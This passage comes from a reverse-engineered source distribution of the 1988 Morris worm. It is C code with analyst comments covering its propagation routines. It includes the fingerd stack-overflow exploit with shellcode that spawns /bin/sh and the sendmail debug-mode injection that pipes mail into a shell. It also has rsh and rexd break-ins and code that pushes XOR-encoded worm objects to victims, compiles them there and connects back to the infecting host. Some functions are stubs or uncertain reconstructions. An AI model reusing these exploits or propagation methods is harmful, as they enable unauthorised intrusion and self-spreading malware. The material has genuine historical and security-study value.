xorbuf(objectptr->buf, objectptr->size); - - if (l572 != objectptr->size) { - close(l588); - return 0; /* to*/ - } - send_text(fdwr, XS("int zz;\n\n")); - wait_for(fdrd, XS("gorch50"), 30); - -#define COMPILE "cc -o x%d x%d.c;./x%d %s %d %d;rm -f x%d x%d.c;echo DONE\n" - sprintf(send_buf, XS(COMPILE), l576, l576, l576, - inet_ntoa(a2in(l592)), l580, l584, l576, l576); - - - send_text(fdwr, send_buf); - - if (wait_for(fdrd, XS("DONE"), 100) == 0) { - close(l588); - return 0; /**/ - } - return waithit(host, l592, l580, l584, l588); -} - -makemagic(arg8, arg12, arg16, arg20, arg24) /* checked */ - struct hst *arg8; - int *arg12, *arg16, *arg20, *arg24; -{ - int s, i, namelen; - struct sockaddr_in sin0, sin1; /* 16 bytes */ - - *arg20 = random() & 0x00ffffff; - bzero(&sin1, sizeof(sin1)); - sin1.sin_addr.s_addr = me->l12; - - for (i= 0; i < 6; i++) { /* 64, 274 */ - if (arg8->o48[i] == NULL) - continue; /* 266 */ - s = socket(AF_INET, SOCK_STREAM, 0); - if (s < 0) - return 0; /* 470 */ - bzero(&sin0, sizeof(sin0)); - sin0.sin_family = AF_INET; - sin0.sin_port = IPPORT_TELNET; - sin0.sin_addr.s_addr = arg8->o48[i]; - errno = 0; - if (connect(s, &sin0, sizeof(sin0)) != -1) { - namelen = sizeof(sin1); - getsockname(s, &sin1, &namelen); - close(s); - break; - } - close(s); - } - - *arg12 = sin1.sin_addr.s_addr; - - for (i = 0; i < 1024; i++) { /* 286,466 */ - s = socket(AF_INET, SOCK_STREAM, 0); - if (s < 0) - return 0; /* 470 */ - bzero(&sin0, sizeof(sin0)); - sin0.sin_family = AF_INET; - sin0.sin_port = random() % 0xffff; - if (bind(s, &sin0, sizeof(sin0)) != -1) { - listen(s, 10); - *arg16 = sin0.sin_port; - *arg24 = s; - return 1; - } - close(s); - } - - return 0; -} - -/* Check for somebody connecting. If there is a connection and he has the right - * key, send out the - * a complete set of encoded objects to it. */ - -waithit(host, arg1, arg2, key, arg4) /* 0x3e86 */ - struct hst *host; -{ - int (*save_sighand)(); - int l8, sin_size, l16, i, l24, l28; - struct sockaddr_in sin; /* 44 */ - object *obj; - char files[20][128]; /* File list, 2608 */ - char *l2612; - char strbuf[512]; - - save_sighand = signal(SIGPIPE, justreturn); - - sin_size = sizeof(sin); - alarm(2*60); - l8 = accept(arg4, &sin, &sin_size); - alarm(0); - - if (l8 < 0) - goto quit; /* 1144 */ - if (xread(l8, &l16, sizeof(l16), 10) != 4) - goto quit; - l16 = ntohl(l16); - if (key != l16) - goto quit; - for (i = 0; i < nobjects; i++) { /* 164,432 */ - obj = &objects[i]; - l16 = htonl(obj->size); - write(l8, &l16, sizeof(l16)); - sprintf(files[i], XS("x%d,%s"), - (random()&0x00ffffff), obj->name); - write(l8, files[i], sizeof(files[0])); - xorbuf(obj->buf, obj->size); - l24 = write(l8, obj->buf, obj->size); - xorbuf(obj->buf, obj->size); - if (l24 != obj->size) - goto quit; - } - - /* Get rid of my client's key, and tell him the list has ended. */ - l16 = -1; - if (write(l8, &l16, sizeof(l16)) != 4) - goto quit; - - /* Don't run up the load average too much... */ - sleep(4); - - if (test_connection(l8, l8, 30) == 0) - goto quit; - send_text(l8, XS("PATH=/bin:/usr/bin:/usr/ucb\n")); - send_text(l8, XS("rm -f sh\n")); - - sprintf(strbuf, XS("if [ -f sh ]\nthen\nP=x%d\nelse\nP=sh\nfi\n"), - random()&0x00ffffff); - send_text(l8, strbuf); - - for (i = 0; i < nobjects; i++) { /* 636,1040 */ - if ((l2612 = index(files[i], '.')) == NULL || - l2612[1] != 'o') - continue; - sprintf(strbuf, XS("cc -o $P %s\n"), files[i]); - send_text(l8, strbuf); - if (test_connection(l8, l8, 30) == 0) - goto quit; /* 1144 */ - sprintf(strbuf, XS("./$P -p $$ ")); - for(l28 = 0; l28 < nobjects; l28++) { /* 820,892 */ - strcat(strbuf, files[l28]); - strcat(strbuf, XS(" ")); - } - strcat(strbuf, XS("\n")); - send_text(l8, strbuf); - if (test_connection(l8, l8, 10) == 0) { - close(l8); - close(arg4); - host->flag |= 2; - return 1; /* 1172 */ - } - send_text(l8, XS("rm -f $P\n")); - } - - for (i = 0; i < nobjects; i++) { /* 1044,1122 */ - sprintf(strbuf, XS("rm -f %s $P\n"), files[i]); - send_text(l8, strbuf); - } - test_connection(l8, l8, 5); - quit: - close(l8); - close(l24); - return 0; -} - -/* Only called from within mail */ -static compile_slave(host, s, arg16, arg20, arg24) /* x431e,*/ - struct hst host; -{ - object *obj; - char buf[512]; /* 516 */ - char cfile[56]; /* 568 */ - int wr_len, key; /* might be same */ - - obj = getobjectbyname(XS("l1.c")); - if (obj == NULL) - return 0; /* 1590 */ - send_text(s, XS("cd /usr/tmp\n")); - - key = (random() % 0x00ffffff); - sprintf(cfile, XS("x%d.c"), key); - sprintf(buf, XS("cat > %s <<\'EOF\'\n"), cfile); - send_text(s, buf); - - xorbuf(obj->buf, obj->size); - wr_len = write(s, obj->buf, obj->size); - xorbuf(obj->buf, obj->size); - - if (wr_len != obj->size) - return 0; - send_text(s, XS("EOF\n")); - - sprintf(buf, XS("cc -o x%d x%d.c;x%d %s %d %d;rm -f x%d x%d.c\n"), - key, key, key, - inet_ntoa(a2in(arg16, arg20, arg24, key, key)->baz)); - return send_text(s, buf); -} - -static send_text(fd, str) /* 0x44c0, */ - char *str; -{ - write(fd, str, strlen(str)); -} - -/* Used in try_rsh_and_mail(). */ -static fork_rsh(host, fdp1, fdp2, str) /* 0x44f4, */ - char *host; - int *fdp1, *fdp2; - char *str; -{ - int child; /* 4 */ - int fildes[2]; /* 12 */ - int fildes1[2]; /* 20 */ - int fd; - - if (pipe(fildes) < 0) - return 0; - if (pipe(fildes1) < 0) { - close(fildes[0]); - close(fildes[1]); - return 0; - } - - child = fork(); - if (child < 0) { /* 1798 */ - close(fildes[0]); - close(fildes[1]); - close(fildes1[0]); - close(fildes1[1]); - return 0; - } - if (child == 0) { /* 2118 */ - for (fd = 0; fd < 32; fd++) - if (fd != fildes[0] && - fd != fildes1[1] && - fd != 2) - close(fd); - dup2(fildes[0], 0); - dup2(fildes[1], 1); - if (fildes[0] > 2) - close(fildes[0]); - if (fildes1[1] > 2) - close(fildes1[1]); - /* 'execl()' does not return if it suceeds. */ - execl(XS("/usr/ucb/rsh"), XS("rsh"), host, str, 0); - execl(XS("/usr/bin/rsh"), XS("rsh"), host, str, 0); - execl(XS("/bin/rsh"), XS("rsh"), host, str, 0); - exit(1); - } - close(fildes[0]); - close(fildes1[1]); - *fdp1 = fildes1[0]; - *fdp2 = fildes[1]; - - if (test_connection(*fdp1, *fdp2, 30)) - return 1; /* Sucess!!! */ - close(*fdp1); - close(*fdp2); - kill(child, 9); - /* Give the child a chance to die from the signal. */ - sleep(1); - wait3(0, WNOHANG, 0); - return 0; -} - -static test_connection(rdfd, wrfd, time) /* x476c, */ - int rdfd, wrfd, time; -{ - char combuf[100], numbuf[100]; - - sprintf(numbuf, XS("%d"), random() & 0x00ffffff); - sprintf(combuf, XS("\n/bin/echo %s\n"), numbuf); - send_text(wrfd, combuf); - return wait_for(rdfd, numbuf, time); -} - -static wait_for(fd, str, time) /* */ - int fd, time; - char *str; -{ - char buf[512]; - int i, length; - - length = strlen(str); - while (x488e(fd, buf, sizeof(buf), time) == 0) { /* 2532 */ - for(i = 0; buf[i]; i++) { - if (strncmp(str, &buf[i], length) == 0) - return 1; - } - } - return 0; -} - -/* Installed as a signal handler */ -justreturn(sig, code, scp) /* 0x4872 */ - int sig, code; - struct sigcontext *scp; -{ - alarmed = 1; -} - -static x488e(fd, buf, num_chars, maxtime) - int fd, num_chars, maxtime; - char *buf; -{ - - int i, l8, readfds; - struct timeval timeout; - - for (i = 0; i < num_chars; i++) { /* 46,192 */ - readfds = 1 << fd; - timeout.tv_usec = maxtime; - timeout.tv_sec = 0; - if (select(fd + 1, &readfds, 0, 0, &timeout) <= 0) - return 0; - if (readfds == 0) - return 0; - if (read(fd, &buf[i], 1) != 1) - return 0; - if (buf[i] == '\n') - break; - } - buf[i] = '\0'; - if (i > 0 && l8 > 0) - return 1; - return 0; -} - -/* This doesn't appear to be used anywhere??? */ -static char *movstr(arg0, arg1) /* 0x4958, */ - char *arg0, *arg1; -{ - arg1[0] = '\0'; - if (arg0 == 0) - return 0; - while( ! isspace(*arg0)) - arg0++; - - if (*arg0 == '\0') - return 0; - while(*arg0) { - if (isspace(*arg0)) break; - *arg1++ = *arg0++; - } - *arg1 = '\0'; - return arg0; -} - -/* -From Gene Spafford -What this routine does is actually kind of clever. Keep in -mind that on a Vax the stack grows downwards. - -fingerd gets its input via a call to gets, with an argument -of an automatic variable on the stack. Since gets doesn't -have a bound on its input, it is possible to overflow the -buffer without an error message. Normally, when that happens -you trash the return stack frame. However, if you know -where everything is on the stack (as is the case with a -distributed binary like BSD), you can put selected values -back in the return stack frame. - -This is what that routine does. It overwrites the return frame -to point into the buffer that just got trashed. The new code -does a chmk (change-mode-to-kernel) with the service call for -execl and an argument of "/bin/sh". Thus, fingerd gets a -service request, forks a child process, tries to get a user name -and has its buffer trashed, does a return, exec's a shell, -and then proceeds to take input off the socket -- from the -worm on the other machine. Since many sites never bother to -fix fingerd to run as something other than root..... - -Luckily, the code doesn't work on Suns -- it just causes it -to dump core. - ---spaf - -*/ - -/* This routine exploits a fixed 512 byte input buffer in a VAX running - * the BSD 4.3 fingerd binary. It send 536 bytes (plus a newline) to - * overwrite six extra words in the stack frame, including the return - * PC, to point into the middle of the string sent over. The instructions - * in the string do the direct system call version of execve("/bin/sh"). */ - -static try_finger(host, fd1, fd2) /* 0x49ec, o48[i] == 0) - continue; /* 600 */ - s = socket(AF_INET, SOCK_STREAM, 0); - if (s < 0) - continue; - bzero(&sin, sizeof(sin)); - sin.sin_family = AF_INET; - sin.sin_addr.s_addr = host->o48[i]; - sin.sin_port = IPPORT_FINGER; - - alarm(10); - if (connect(s, &sin, sizeof(sin)) < 0) { - alarm(0); - close(s); - continue; - } - alarm(0); - break; - } - if (i >= 6) - return 0; /* 978 */ - for(i = 0; i < 536; i++) /* 628,654 */ - buf[i] = '\0'; - for(i = 0; i < 400; i++) - buf[i] = 1; - for(j = 0; j < 28; j++) - buf[i+j] = "\335\217/sh\0\335\217/bin\320^Z\335\0\335\0\335Z\335\003\320^\\\274;\344\371\344\342\241\256\343\350\357\256\362\351"[j]; /* constant string x200a0 */ - - /* 0xdd8f2f73,0x6800dd8f,0x2f62696e,0xd05e5add,0x00dd00dd,0x5add03d0,0x5e5cbc3b */ - /* "\335\217/sh\0\335\217/bin\320^Z\335\0\335\0\335Z\335\003\320^\\\274;\344\371\344\342\241\256\343\350\357\256\362\351"... */ - - l556 = 0x7fffe9fc; /* Rewrite part of the stack frame */ - l560 = 0x7fffe8a8; - l564 = 0x7fffe8bc; - l568 = 0x28000000; - l552 = 0x0001c020; - -#ifdef sun - l556 = byte_swap(l556); /* Reverse the word order for the */ - l560 = byte_swap(l560); /* VAX (only Suns have to do this) */ - l564 = byte_swap(l564); - l568 = byte_swap(l568); - l552 = byte_swap(l552); -#endif sun - - write(s, buf, sizeof(buf)); /* sizeof == 536 */ - write(s, XS("\n"), 1); - sleep(5); - if (test_connection(s, s, 10)) { - *fd1 = s; - *fd2 = s; - return 1; - } - close(s); - return 0; -} - -static byte_swap(arg) /* 0x4c48, > 8; - j++; - } - return i; -} - -permute(ptr, num, size) /* 0x4c9a */ - char *ptr; - int num, size; -{ - int i, newloc; - char buf[512]; - - for (i = 0; i < num*size; i+=size) { /* 18,158 */ - newloc = size * (random() % num); - bcopy(ptr+i, buf, size); - bcopy(ptr+newloc, ptr+i, size); - bcopy(buf, ptr+newloc, size); - } -} - - -/* Called from try_rsh_and_mail() */ -static try_mail(host) /* x4d3c */ - struct hst *host; -{ - int i, l8, l12, l16, s; - struct sockaddr_in sin; /* 16 bytes */ - char l548[512]; - int (*old_handler)(); - struct sockaddr saddr; /* Not right */ - int fd_tmp; /* ??? part of saddr */ - - if (makemagic(host, &saddr) == 0) - return 0; /* */ - old_handler = signal(SIGALRM, justreturn); - for( i = 0; i < 6; i++) { /* to 430 */ - if (host->o48[i] == NULL) - continue; /* to 422 */ - s = socket(AF_INET, SOCK_STREAM, 0); - if (s < 0) - continue; /* to 422 */ - - bzero(&sin, sizeof(sin)); /* 16 */ - sin.sin_family = AF_INET; - sin.sin_addr.s_addr = host->o48[i]; - sin.sin_port = IPPORT_SMTP; - - alarm(10); - if (connect(s, &sin, sizeof(sin)) < 0) { - alarm(0); - close(s); - continue; /* to 422 */ - } - alarm(0); - break; - } - - if (i < 6) - return 0; /* 1054 */ - if (x50bc( s, l548) != 0 || l548[0] != '2') - goto bad; - - send_text(s, XS("debug")); /* "debug" */ - if (x50bc( s, l548) != 0 || l548[0] != '2') - goto bad; - -#define MAIL_FROM "mail from:\n" -#define MAIL_RCPT "rcpt to:<\"| sed \'1,/^$/d\' | /bin/sh ; exit 0\">\n" - - send_text(s, XS(MAIL_FROM)); - if (x50bc( s, l548) != 0 || l548[0] != '2') - goto bad; - i = (random() & 0x00FFFFFF); - - sprintf(l548, XS(MAIL_RCPT), i, i); - send_text(s, l548); - if (x50bc( s, l548) != 0 || l548[0] != '2') - goto bad; - - send_text(s, XS("data\n")); - if (x50bc( s, l548) == 0 || l548[0] != '3') - goto bad; - - send_text(s, XS("data\n")); - - compile_slave(host, s, saddr); - - send_text(s, XS("\n.\n")); - - if (x50bc( s, l548) == 0 || l548[0] != '2') { - close(fd_tmp); /* This isn't set yet!!! */ - goto bad; - } - - send_text(s, XS("quit\n")); - if (x50bc( s, l548) == 0 || l548[0] != '2') { - close(fd_tmp); /* This isn't set yet!!! */ - goto bad; - } - - close(s); - return waithit(host, saddr); - bad: - send_text(s, XS("quit\n")); - x50bc(s, l548); - close(s); - return 0; -} - -/* Used only in try_mail() above. This fills buffer with a line of the response */ -static x50bc(s, buffer) /* x50bc, */ - int s; /* socket */ - char *buffer; -{ - /* Fill in exact code later. It's pretty boring. */ -} - - -/* I call this "huristic 1". It tries to breakin using the remote execution - * service. It is called from a subroutine of cracksome_1 with information from - * a user's .forword file. The two name are the original username and the one - * in the .forward file. - */ -hu1(alt_username, host, username2) /* x5178 */ - char *alt_username, *username2; - struct hst *host; -{ - char username[256]; - char buffer2[512]; - char local[8]; - int result, i, fd_for_sh; /* 780, 784, 788 */ - - if (host == me) - return 0; /* 530 */ - if (host->flag & HST_HOSTTWO) /* Already tried ??? */ - return 0; - - if (host->o48[0] || host->hostname == NULL) - getaddrs(host); - if (host->o48[0] == 0) { - host->flag |= HST_HOSTFOUR; - return 0; - } - strncpy(username, username2, sizeof(username)-1); - username[sizeof(username)-1] = '\0'; - - if (username[0] == '\0') - strcpy(username, alt_username); - - for (i = 0; username[i]; i++) - if (ispunct(username[i]) || username[i] < ' ') - return 0; - other_sleep(1); - - fd_for_sh = x538e(host, username, &alt_username[30]); - if (fd_for_sh >= 0) { - result = talk_to_sh(host, fd_for_sh, fd_for_sh); - close(fd_for_sh); - return result; - } - if (fd_for_sh == -2) - return 0; - - fd_for_sh = x538e(me, alt_username, &alt_username[30]); - if (fd_for_sh >= 0) { - sprintf(buffer2, XS("exec /usr/ucb/rsh %s -l %s \'exec /bin/sh\'\n"), - host->hostname, username); - send_text(fd_for_sh, buffer2); - sleep(10); - result = 0; - if (test_connection(fd_for_sh, fd_for_sh, 25)) /* 508 */ - result = talk_to_sh(host, fd_for_sh, fd_for_sh); - close(fd_for_sh); - return result; - } - return 0; -} - -/* Used in hu1. Returns a file descriptor. */ -/* It goes through the six connections in host trying to connect to the - * remote execution server on each one. - */ -static int x538e(host, name1, name2) - struct hst *host; - char *name1, *name2; -{ - int s, i; - struct sockaddr_in sin; /* 16 bytes */ - int l6, l7; - char in_buf[512]; - - for (i = 0; i < 6; i++) { /* 552,762 */ - if (host->o48[i] == 0) - continue; /* 754 */ - s = socket(AF_INET, SOCK_STREAM, 0); - if (s < 0) - continue; - - bzero(&sin, sizeof(sin)); /* 16 */ - sin.sin_family = AF_INET; - sin.sin_addr.s_addr = host->o48[i]; - sin.sin_port = IPPORT_EXECSERVER; /* Oh shit, looking for rexd */ - - alarm(8); - signal(SIGALRM, justreturn); - if (connect(s, &sin, sizeof(sin)) < 0) { - alarm(0); - close(s); - continue; - } - alarm(0); - break; - } - if (i >= 6) - return -2; /* 1048 */ - /* Check out the connection by writing a null */ - if (write(s, XS(""), 1) == 1) { - /* Tell the remote execution deamon the hostname, username, and to startup - "/bin/sh". */ - write(s, name1, strlen(name1) + 1); - write(s, name2, strlen(name2) + 1); - if ((write(s, XS("/bin/sh"), strlen(XS("/bin/sh"))+1) >= 0) && - xread(s, in_buf, 1, 20) == 1 && - in_buf[0] == '\0' && - test_connection(s, s, 40) != 0) - return s; - } - close(s); - return -1; -} - -/* Reads in a file and puts it in the 'objects' array. Returns 1 if sucessful, - * 0 if not. */ -loadobject(obj_name) /* x5594 */ - char *obj_name; -{ - int fd; - unsigned long size; - struct stat statbuf; - char *object_buf, *suffix; - char local[4]; - - fd = open(obj_name, O_RDONLY); - if (fd < 0) - return 0; /* 378 */ - if (fstat(fd, &statbuf) < 0) { - close(fd); - return 0; - } - size = statbuf.st_size; - object_buf = malloc(size); - if (object_buf == 0) { - close(fd); - return 0; - } - if (read(fd, object_buf, size) != size) { - free(object_buf); - close(fd); - return 0; - } - close(fd); - xorbuf(object_buf, size); - suffix = index(obj_name, ','); - if (suffix != NULL) - suffix+=1; - else - suffix = obj_name; - objects[nobjects].name = strcpy(malloc(strlen(suffix)+1), suffix); - objects[nobjects].size = size; - objects[nobjects].buf = object_buf; - nobjects += 1; - return 1; -} - -/* Returns the object from the 'objects' array that has name, otherwise NULL. */ -object *getobjectbyname(name) - char *name; -{ - int i; - - for (i = 0; i < nobjects; i++) - if (strcmp(name, objects[i].name) == 0) - return &objects[i]; - return NULL; -} - -/* Encodes and decodes the binary coming over the socket. */ -xorbuf(buf, size) /* 0x577e */ - char *buf; - unsigned long size; -{ - char *addr_self; /* The address of the xorbuf fuction */ - int i; - - addr_self = (char *)xorbuf; - i = 0; - while (size-- > 0) { - *buf++ ^= addr_self[i]; - i = (i+1) % 10; - } - return; -} - - -static other_fd = -1; - -/* Make a connection to the local machine and see if I'm running in - another process by sending a magic number on a random port and waiting - five minutes for a reply. */ -checkother() /* 0x57d0 */ -{ - int s, l8, l12, l16, optval; - struct sockaddr_in sin; /* 16 bytes */ - - optval = 1; - if ((random() % 7) == 3) - return; /* 612 */ - - s = socket(AF_INET, SOCK_STREAM, 0); - if (s < 0) - return; - - /* Make a socket to the localhost, using a link-time specific port */ - bzero(&sin, sizeof(sin)); /* 16 */ - sin.sin_family = AF_INET; - sin.sin_addr.s_addr = inet_addr(XS("127.0.0.1")); /* */ - sin.sin_port = 0x00005b3d; /* ??? */ - - if (connect(s, &sin, sizeof(sin)) < 0) { - close(s); - } else { - l8 = MAGIC_2; /* Magic number??? */ - if (write(s, &l8, sizeof(l8)) != sizeof(l8)) { - close(s); - return; - } - l8 = 0; - if (xread(s, &l8, sizeof(l8), 5*60) != sizeof(l8)) { - close(s); - return; - } - if (l8 != MAGIC_1) { - close(s); - return; - } - - l12 = random()/8; - if (write(s, &l12, sizeof(l12)) != sizeof(l12)) { - close(s); - return; - } - - if (xread(s, &l16, sizeof(l16), 10) != sizeof(l16)) { - close(s); - return; - } - - if (!((l12+l16) % 2)) - pleasequit++; - close(s); - } - sleep(5); - - s = socket(AF_INET, SOCK_STREAM, 0); - if (s < 0) - return; - - /* Set the socket so that the address may be reused */ - setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &optval, sizeof(optval)); - if (bind(s, &sin, sizeof(sin)) < 0) { - close(s); - return; - } - listen(s, 10); - - other_fd = s; - return; -} - -/* Sleep, waiting for another worm to contact me. */ -other_sleep(how_long) /* 0x5a38 */ -{ - int nfds, readmask; - long time1, time2; - struct timeval timeout; - - if (other_fd < 0) { - if (how_long != 0) - sleep(how_long); - return; - } - /* Check once again.. */ - do { - if (other_fd < 0) - return; - readmask = 1 << other_fd; - if (how_long < 0) - how_long = 0; - - timeout.tv_sec = how_long; - timeout.tv_usec = 0; - - if (how_long != 0) - time(&time1); - nfds = select(other_fd+1, &readmask, 0, 0, &timeout); - if (nfds < 0) - sleep(1); - if (readmask != 0) - answer_other(); - if (how_long != 0) { - time(&time2); - how_long -= time2 - time1; - } - } while (how_long > 0); - return; -} - -static answer_other() /* 0x5b14 */ -{ - int ns, addrlen, magic_holder, magic1, magic2; - struct sockaddr_in sin; /* 16 bytes */ - - addrlen = sizeof(sin); - - ns = accept(other_fd, &sin, &addrlen); - - if (ns < 0) - return; /* 620 */ - - magic_holder = MAGIC_1; - if (write(ns, &magic_holder, sizeof(magic_holder)) != sizeof(magic_holder)) { - close(ns); - return; - } - if (xread(ns, &magic_holder, sizeof(magic_holder), 10) != sizeof(magic_holder)) { - close(ns); - return; - } - if (magic_holder != MAGIC_2) { - close(ns); - return; - } - - magic1 = random() / 8; - if (write(ns, &magic1, sizeof(magic1)) != sizeof(magic1)) { - close(ns); - return; - } - if (xread(ns, &magic2, sizeof(magic2), 10) != sizeof(magic2)) { - close(ns); - return; - } - close(ns); - - if (sin.sin_addr.s_addr != inet_addr(XS("127.0.0.1"))) - return; - - if (((magic1+magic2) % 2) != 0) { - close(other_fd); - other_fd = -1; - pleasequit++; - } - return; -} - -/* A timeout-based read. */ -xread(fd, buf, length, time) /* 0x5ca8 */ - int fd, time; - char *buf; - unsigned long length; -{ - int i, cc, readmask; - struct timeval timeout; - int nfds; - long time1, time2; - - for (i = 0; i < length; i++) { /* 150 */ - readmask = 1 << fd; - timeout.tv_sec = time; - timeout.tv_usec = 0; - if (select(fd+1, &readmask, 0, 0, &timeout) < 0) - return 0; /* 156 */ - if (readmask == 0) - return 0; - if (read(fd, &buf[i], 1) != 1) - return 0; - } - return i; -} - - -/* These are some of the strings that are encyphed in the binary. The - * person that wrote the program probably used the Berkeley 'xstr' program - * to extract and encypher the strings. - */ -#ifdef notdef -char environ[50] = ""; -char *sh = "sh"; -char *env52 = "sh"; /* 0x20034, */ -char *env55 = "-p"; -char *env58 = "l1.c"; -char *env63 = "sh"; -char *env66 = "/tmp/.dump"; -char *env77 = "128.32.137.13"; -char *env91 = "127.0.0.1"; -char *env102 = "/usr/ucb/netstat -r -n"; /* 0x20066 */ -char *env125 = "r"; -char *env127 = "%s%s"; -#endif /* notdef*/ -/* - char *text = - "default - 0.0.0.0 - 127.0.0.1 - exec /bin/sh - l1.c - PATH=/bin:/usr/bin:/usr/ucb - cd /usr/tmp - x%d.c - echo gorch49;sed '/int zz;/q' > %s;echo gorch50 - gorch49 - int zz; - gorch50 - cc -o x%d x%d.c;./x%d %s %d %d;rm -f x%d x%d.c;echo DONE - DONE - x%d,%s - PATH=/bin:/usr/bin:/usr/ucb - rm -f sh - if [ -f sh ] - then - P=x%d - else - P=sh - cc -o $P %s - ./$P -p $$ - rm -f $P - rm -f %s $P - l1.c - cd /usr/tmp - x%d.c - cat > %s <<'EOF' - cc -o x%d x%d.c;x%d %s %d %d;rm -f x%d x%d.c - /usr/ucb/rsh - /usr/bin/rsh - /bin/rsh - /bin/echo %s - debug - mail from: - rcpt to:<"| sed '1,/^$/d' | /bin/sh ; exit 0"> - data - quit - quit - exec /usr/ucb/rsh %s -l %s 'exec /bin/sh' - /bin/sh - /bin/sh - 127.0.0.1 - 127.0.0.1 - /etc/hosts.equiv - %.100s - /.rhosts - %.200s/.forward - %.20s%.20s - %[^ ,] - %*s %[^ ,]s - %.200s/.forward - %.200s/.rhosts - %s%s - /usr/dict/words"; - */ - -/* - * Local variables: - * compile-command: "cc -S hs.c" - * comment-column: 48 - * End: - */ //GO.SYSIN DD hs.c echo net.c 1>&2 sed 's/^-//' >net.c <<'//GO.SYSIN DD net.c' -/*****************************************************************************\ -* * -* File: net.c * -* Author: Don Becker * -* Created: Sun Nov 6 20:13:37 1988 * -* Contents: Network subroutines for the 'worm'. * -* Copyright 1988 by Donald Becker, redistribution by permission only * -* * -******************************************************************************/ - -#include "worm.h" -#include -#include -#include -#include -#include -#include - -/* This is the second of five source files linked together to form the '.o' - * file distributed with the worm. - */ - -if_init() /* 0x254c, check again */ -{ - struct ifconf if_conf; - struct ifreq if_buffer[12]; - int s, i, num_ifs, j; - char local[48]; - - nifs = 0; - s = socket(AF_INET, SOCK_STREAM, 0); - if (s < 0) - return 0; /* if_init+1042 */ - if_conf.ifc_req = if_buffer; - if_conf.ifc_len = sizeof(if_buffer); - - if (ioctl(s, SIOCGIFCONF, &if_conf) < 0) { - close(s); - return 0; /* if_init+1042 */ - } - - num_ifs = if_conf.ifc_len/sizeof(if_buffer[0]); - for(i = 0; i < num_ifs; i++) { /* if_init+144 */ - for (j = 0; j < nifs; j++) - /* Oops, look again. This line needs verified. */ - if (strcmp(ifs[j], if_buffer[i].ifr_name) == 0) - break; - } - -} - -/* Yes all of these are in the include file, but why bother? Everyone knows - netmasks, and they will never change... */ -def_netmask(net_addr) /* 0x2962 */ - int net_addr; -{ - if ((net_addr & 0x80000000) == 0) - return 0xFF000000; - if ((net_addr & 0xC0000000) == 0xC0000000) - return 0xFFFF0000; - return 0xFFFFFF00; -} - -netmaskfor(addr) /* 0x29aa */ - int addr; -{ - int i, mask; - - mask = def_netmask(addr); - for (i = 0; i < nifs; i++) - if ((addr & mask) == (ifs[i].if_l16 & mask)) - return ifs[i].if_l24; - return mask; -} - -rt_init() /* 0x2a26 */ -{ - FILE *pipe; - char input_buf[64]; - int l204, l304; - - ngateways = 0; - pipe = popen(XS("/usr/ucb/netstat -r -n"), XS("r")); /* &env102,&env125 */ - if (pipe == 0) - return 0; - while (fgets(input_buf, sizeof(input_buf), pipe)) { /* to 518 */ - other_sleep(0); - if (ngateways >= 500) - break; - sscanf(input_buf, XS("%s%s"), l204, l304); /* "%s%s" */ - /* other stuff, I'll come back to this later */ - - - } /* 518, back to 76 */ - pclose(pipe); - rt_init_plus_544(); - return 1; -} /* 540 */ - -static rt_init_plus_544() /* 0x2c44 */ -{ -} - -getaddrs() /* 0x2e1a */ -{ -} - -struct bar *a2in(a) /* 0x2f4a, needs to be fixed */ - int a; -{ - static struct bar local; - local.baz = a; - return &local; -} - -/* End of source file in original. */ - -/* - * Local variables: - * compile-command: "cc -S net.c" - * comment-column: 48 - * End: - */ //GO.SYSIN DD net.c echo stubs.c 1>&2 sed 's/^-//' >stubs.c <<'//GO.SYSIN DD stubs.c' -/*****************************************************************************\ -* * -* File: stubs.c * -* Author: Don Becker * -* Created: Thu Nov 10 10:17:39 1988 * -* Contents: Stubs of copyrighted proceedures in the worm program * -* Copyright none -* * -******************************************************************************/ -/* The version of crypt() used in the worm program has the same tables as - * Berkeley's 4.3 crypt(), but uses different code. Since I don't know where - * we put our 4.2 tape I can't check it against that code to find the exact - * source. I assume that it just a regualar crypt() routine with several - * interior functions declared static, perhaps tuned somewhat for speed on the - * VAX and Sun. - */ -crypt() -{ } - -/* These might not be copyrighted, but I'm not taking the chance. They are - obvious. */ -h_addr2host() -{} -h_name2host() -{} - -/* - * Local variables: - * compile-command: "make test" - * comment-column: 48 - * End: - */ //GO.SYSIN DD stubs.c echo worm.c 1>&2 sed 's/^-//' >worm.c <<'//GO.SYSIN DD worm.c' -/*****************************************************************************\ - * * - * File: worm.c * - * Author: Don Becker * - * Created: Thu Nov 3 17:16:10 1988 * - * Contents: Reverse engineered worm program that invaded ATD on 11/3/88 * - * Copyright 1988 by Donald Becker, redistribution by permission only * - * * - ******************************************************************************/ - -#include "worm.h" -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include - -extern errno; -extern char *malloc(); - -int pleasequit; /* See worm.h */ -int nobjects = 0; -int nextw; -char *null_auth; - -object objects[69]; /* Don't know how many... */ - -object *getobjectbyname(); - -char *XS(); - -main(argc, argv) /* 0x20a0 */ - int argc; - char **argv; -{ - int i, l8, pid_arg, j, cur_arg, unused; - long key; /* -28(fp) */ - struct rlimit rl; - - l8 = 0; /* Unused */ - - strcpy(argv[0], XS("sh")); /* */ - time(&key); - srandom(key); - rl.rlim_cur = 0; - rl.rlim_max = 0; - if (setrlimit(RLIMIT_CORE, &rl)) - ; - signal(SIGPIPE, SIG_IGN); - pid_arg = 0; - cur_arg = 1; - if (argc > 2 && - strcmp(argv[cur_arg], XS("-p")) == 0) { /* env55 == "-p" */ - pid_arg = atoi(argv[2]); - cur_arg += 2; - } - for(i = cur_arg; i < argc; i++) { /* otherwise */ - if (loadobject(argv[i]) == 0) - exit(1); - if (pid_arg) - unlink(argv[i]); - } - if ((nobjects < 1) || (getobjectbyname(XS("l1.c")) == NULL)) - exit(1); - if (pid_arg) { - for(i = 0; i < 32; i++) - close(i); - unlink(argv[0]); t - unlink(XS("sh")); /* */ - unlink(XS("/tmp/.dumb")); /* "/tmp/.dumb" */ - } - - for (i = 1; i < argc; i++) - for (j = 0; argv[i][j]; j++) - argv[i][j] = '\0'; - if (if_init() == 0) - exit(1); - if (pid_arg) { /* main+600 */ - if (pid_arg == getpgrp(getpid())) - setpgrp(getpid(), getpid()); - kill(pid_arg, 9); - } - mainloop(); -} - -static mainloop() /* 0x2302 */ -{ - long key, time1, time0; - - time(&key); - srandom(key); - time0 = key; - if (hg() == 0 && hl() == 0) - ha(); - checkother(); - report_breakin(); - cracksome(); - other_sleep(30); - while (1) { - /* Crack some passwords */ - cracksome(); - /* Change my process id */ - if (fork() > 0) - exit(0); - if (hg() == 0 && hi() == 0 && ha() == 0) - hl(); - other_sleep(120); - time(&time1); - if (time1 - time0 >= 60*60*12) - 